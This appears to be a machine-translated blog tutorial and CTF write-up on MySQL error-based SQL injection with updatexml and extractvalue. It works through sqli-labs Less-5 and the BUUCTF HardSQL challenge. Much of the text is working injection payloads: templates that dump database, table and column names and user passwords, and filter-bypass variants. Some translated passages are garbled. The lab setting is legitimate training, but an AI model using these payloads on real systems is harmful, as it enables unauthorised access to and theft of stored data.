SQL 오류 주입

SQL 오류 주입

오류 주입은 데이터베이스의 특정 메커니즘을 사용하여 오류 조건을 인위적으로 생성하여 쿼리 결과가 오류 메시지에 나타날 수 있도록하는 것입니다.

xpath 구문 오류 (제한 사항)

extractvalue는 xpath 구문에 따라 xml 문서에서 노드의 내용을 쿼리하고 updatexml은 쿼리 된 내용을 수정합니다.

updatexml

함수 프로토 타입 : updatexml (xml_document, xpath_string, new_value)
일반 구문 : updatexml (xml_document, xpath_string, new_value) 첫
번째 매개 변수 : xml_document는 xml 문서 객체의 이름 인 문자열 형식입니다. 두 번째 매개 변수 : xpath_string은 문자열입니다. XPath는 형식.
세번째 파라미터 : NEW_VALUE 발견 부하 조건의 데이터를 대체 문자열 포맷에 기능 :. 변경 문서의 조건을 만족하는 노드의 값

두 번째 매개 변수는 xpath 구문을 준수하기 위해 필요한 문자열로, 요구 사항을 충족하지 못할 경우 오류가보고되고 쿼리 결과가 오류 메시지에 배치되어 사용할 수 있습니다.

예 : sqli-labs

Less-5?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+       爆库

1608557238748

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+       爆表

1608557368922

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+                                        爆列

1608557617454

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+                                                      爆数据                             

1608557862959

추신 : updatexml의 최대 길이는 32 비트이므로 제한되며 길이가 32 비트를 초과하면 표시되지 않습니다.

요약하자면 :

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))

爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

extractvalue 함수

함수 프로토 타입 : extractvalue (xml_document, Xpath_string)
일반 문법 : extractvalue (xml_document, Xpath_string);
첫 번째 매개 변수 : xml_document 문자열 형식, 문서 객체 이름 xml
두 번째 매개 변수 : Xpath_string 형식화 된 문자열 xpath
효과 : from 쿼리 값이 포함 된 문자열 반환 대상 xml에서

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))

爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))

爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

BUUCTF- [Geek Challenge 2019] HardSQL (오류 주입)

1. bp fuzz를 사용한 후, 조합 by | 등호 | space | substr 등을 걸러 내고, 공백은 걸러지지 않고, 대략적인 인상입니다.

2. 현재 데이터베이스 이름을 확장하십시오.
공백을 무시하십시오. 괄호 ()로 묶으십시오.

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

-> 라이브러리 이름 : geek
3. 폭발적인 테이블 이름 :
등호 우회 : like로 대체

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

-> 테이블 이름 : H4rDsq1
4. 필드 이름 :

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21

-> 필드 : 아이디, 사용자 이름, 비밀번호
5.

'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#

flag {9f09946d-4c83-40f5-982
는 전체 그림을 보여주지 않았습니다 . 이때
우리는 mysql 함수 인 substr, left, right를 생각해야합니다.
참고 : substr은 필터링됩니다.

admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

결과 : XPATH 구문 오류 : ' 3-40f5-9828-9593ee5f3f4c) '

스 플라이 싱 후 결과 :
flag {9f09946d-4c83-40f5-9828-9593ee5f3f4c}

추천

출처blog.csdn.net/weixin_49298265/article/details/111505198